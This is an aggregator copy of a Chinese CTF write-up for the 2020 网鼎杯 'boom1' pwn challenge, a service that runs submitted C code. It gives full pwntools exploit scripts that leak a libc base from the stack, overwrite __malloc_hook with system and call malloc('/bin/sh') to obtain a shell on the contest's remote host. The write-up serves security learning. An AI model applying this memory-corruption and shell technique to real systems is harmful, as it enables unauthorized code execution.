1

网鼎杯 2020 Pwn boom1

 2 years ago
source link: https://xuanxuanblingbling.github.io/ctf/pwn/2020/05/10/boom/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

网鼎杯 2020 Pwn boom1

发表于 2020-05-10

| 分类于 CTF/Pwn

多亏mcfx指导,才能做出这题,感谢。64位程序,保护全开,可以执行我们发送的c代码,但可以执行的代码有些限制,不能执行system之类的函数,但可以任意写内存。最终通过利用栈上的数据,获得了libc的基址,完成了对__malloc_hook的劫持,进而getshell。

  • 题目地址:nc 182.92.73.10 24573
  • 题目附件:boom1

程序保护全开,可以执行我们发送的c代码,但是函数只能调用固定的几个函数,而且只能调用一次。不过因为可以执行代码,而且支持指针,所以通过赋值语句就可以完成内存的修改,也就是说这题本身就有任意读写内存的能力,只需要泄露出关键的地址即可控制流劫持。通过调试发现在执行我们的函数时的栈上是保存着很多信息的,程序地址,堆,栈,libc相关信息都能在栈上找得到。所以只要能使用栈上的变量即可,想到两种方法获得栈地址:

  1. 通过main函数的argv
  2. 通过直接对我们可以控制的局部变量取地址

拿到栈地址后,对栈地址进行偏移调整,然后解引用,观察其值,找到libc相关的地址,与本地libc基址进行对比,进而得到偏移。然后通过赋值语句修改能控制流劫持的重要内存即可,这里修改malloc_hook为system,然后执行调用malloc传/bin/sh即可getshell。

from pwn import *
myelf = ELF("./pwn")
io = process(myelf.path)
gdb_libc_base = int(os.popen("pmap "+str(io.pid)+"| grep libc | awk '{"+"{print $1}"+"}'").readlines()[0], 16)
payload= '''
int main(int argc,char ** argv){
    int a;
    printf("%llx,%llx\n",&a,argv);
}
'''
gdb.attach(io)
io.send(payload)
log.warn(hex(gdb_libc_base))
io.interactive()

不过根据调试的结果:

[*] Switching to interactive mode
I'm living...
7f56c2bb8fd8,7ffe2eacba40

就会发现:

  1. argv获得的是真正的栈地址
  2. &a获得是在堆上的逻辑栈

不过通过printf打印这两个栈上内容发现都有libc相关数据。

写内存时注意类型转换才可以成功 * (int *)malloc_hook = system;(int *)必不可少

  1. 远程通过argv利用
  2. 本地通过&a利用

远程的libc和本地的2.23相同,因为调试的时候去掉本地算出的偏移后后三位也是0,所以基本确定。

from pwn import *
io = remote("182.92.73.10",24573)
payload= '''
int main(int argc,char ** argv){
    int libc,system,malloc_hook;
    libc = argv[24]-0x3ca000;
    system = libc + 0x45390;
    malloc_hook = libc + 0x3c4b10;
    * (int *)malloc_hook = system;
    malloc("/bin/sh");
}
'''
io.send(payload)
io.interactive()
from pwn import *
myelf = ELF("./pwn")
io = process(myelf.path)
payload= '''
int main(){
    int libc,system,malloc_hook;
    libc = *(&system-2)-0x509fd8;
    system = libc + 0x45390;
    malloc_hook = libc + 0x3c4b10;
    * (int *)malloc_hook = system;
    malloc("cat /flag");
}
'''
io.send(payload)
io.interactive()

C4编译器

在同学的提醒下知道,查找题目里的一些字符串,比如LEA ,IMM ,JMP ,JSR ,BZ ,BNZ ,ENT ,ADJ ,LEV ,LI,直接在github搜索就知道,这些代码是C4编译器的

可以看到本题基本没有怎么分析二进制,却一样能做出来,所以做题不一定非要清楚漏洞在哪(这个二进制我也看不太懂,再次感谢mcfx指导)。另外个人觉得这题也无法归类到二进制漏洞中,就是一种情景,在这个情景下你能运行代码,进行内存写,不过运行的做了一些限制,不过你还是能绕过这些限制劫持控制流。即这题本身就有读写任意内存的能力,不过你得想办法泄露一些地址信息,本题的泄露方法就是对栈的理解和应用。我认为这道题可以类似理解为攻击oj,不过大部分oj应该都是调编译器,而这个题目自己就是个编译器。不过总之,就是一个能运行你代码的程序,你咋攻击他,挺神奇的一个题。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK